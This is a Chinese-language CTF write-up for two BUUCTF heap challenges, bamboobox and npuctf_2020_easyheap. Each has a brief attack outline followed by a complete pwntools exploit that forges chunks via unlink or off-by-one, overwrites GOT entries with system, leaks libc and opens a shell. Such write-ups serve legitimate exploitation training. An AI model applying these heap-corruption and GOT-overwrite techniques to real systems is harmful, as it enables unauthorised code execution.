buuctf——bamboobox(unlink) 利用思路
伪造一个空闲 chunk。
通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。
覆盖 atoi 的 got 表为 system 函数地址。
给出参数 ‘sh’,调用 atoi 函数拿 shell。
exp: from pwn import *from LibcSearcher import *context.log_level='debug' if args['REMOTE' ]: r = remote('node3.buuoj.cn' ,25306 ) elf=ELF('./bamboobox' ) libc=ELF('/home/duxiansheng/pwn/libc/libc-2.23.so' ) else : r = process("./bamboobox" ) elf=ELF('./bamboobox' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (length,name ): r.recvuntil(":" ) r.sendline('2' ) r.recvuntil(':' ) r.sendline(str (length)) r.recvuntil(":" ) r.sendline(name) def edit (idx,length,name ): r.recvuntil(':' ) r.sendline('3' ) r.recvuntil(":" ) r.sendline(str (idx)) r.recvuntil(":" ) r.sendline(str (length)) r.recvuntil(':' ) r.sendline(name) def remove (idx ): r.recvuntil(":" ) r.sendline("4" ) r.recvuntil(":" ) r.sendline(str (idx)) def show (): r.recvuntil(":" ) r.sendline("1" ) def main (): add(0x40 ,'a' * 8 ) add(0x80 ,'b' * 8 ) add(0x80 ,'c' * 8 ) ptr = 0x6020c8 fake_chunk = p64(0 ) fake_chunk += p64(0x41 ) fake_chunk += p64(ptr-0x18 ) fake_chunk += p64(ptr-0x10 ) fake_chunk += 'c' *0x20 fake_chunk += p64(0x40 ) fake_chunk += p64(0x90 ) edit(0 ,0x80 ,fake_chunk) remove(1 ) payload = p64(0 ) * 2 payload += p64(0x40 ) + p64(0x602068 ) edit(0 ,0x80 ,payload) show() r.recvuntil("0 : " ) atoi_addr = u64(r.recvuntil(":" )[:6 ].ljust(8 ,'\x00' )) success('atoi_addr: ' + hex (atoi_addr)) libcbase = atoi_addr - libc.symbols['atoi' ] success("libc:" + hex (libcbase)) system_addr = libcbase + libc.symbols['system' ] success('system:' + hex (system_addr)) edit(0 ,0x8 ,p64(system_addr)) r.recvuntil(":" ) r.sendline("sh" ) r.interactive() if __name__ == '__main__' : main()
npuctf_2020_easyheap(off_by_one) 利用思路
通过 off by one 漏洞,修改下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 free函数的 got 表地址,然后通过show打印泄露libc
获取libc后就能计算出system的地址,再次通过off-by-one修改free@got为 system 的地址,当主函数再次执行delete(chunk2)的时候,结合 “/bin/sh” 参数,实现 system(’/bin/sh’) 获取shell
参考:
https://blog.csdn.net/mcmuyanga/article/details/112851757
exp: from pwn import *from LibcSearcher import *context.log_level='debug' if args['REMOTE' ]: p = remote('node3.buuoj.cn' ,28454 ) elf=ELF('./npuctf_2020_easyheap' ) libc=ELF('./libc-2.27.so' ) else : p = process("./npuctf_2020_easyheap" ) elf=ELF('./npuctf_2020_easyheap' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (size,content ): p.sendlineafter('Your choice :' ,str (1 )) p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ' ,str (size)) p.sendlineafter('Content:' ,content) def edit (index,content ): p.sendlineafter('Your choice :' ,str (2 )) p.sendlineafter('Index :' ,str (index)) p.recvuntil("Content: " ) p.send(content) def show (idx ): p.sendlineafter('Your choice :' ,str (3 )) p.sendlineafter('Index :' ,str (idx)) def delete (idx ): p.sendlineafter('Your choice :' ,str (4 )) p.sendlineafter('Index :' ,str (idx)) def main (): add(0x18 ,'aaaa' ) add(0x18 ,'bbbb' ) add(0x18 ,'/bin/sh\x00' ) edit(0 ,'a' *0x18 +'\x41' ) delete(1 ) payload='a' *0x10 +p64(0 )+p64(0x21 )+p64(0x100 )+p64(elf.got['free' ]) add(0x38 ,payload) show(1 ) p.recvuntil('Content : ' ) libcbase=u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' ))-libc.symbols['free' ] system_addr=libcbase+libc.symbols['system' ] success('libcbase: ' + hex (libcbase)) success('system: ' + hex (system_addr)) edit(1 ,p64(system_addr)) gdb.attach(p) delete(2 ) p.interactive() if __name__ == '__main__' : main()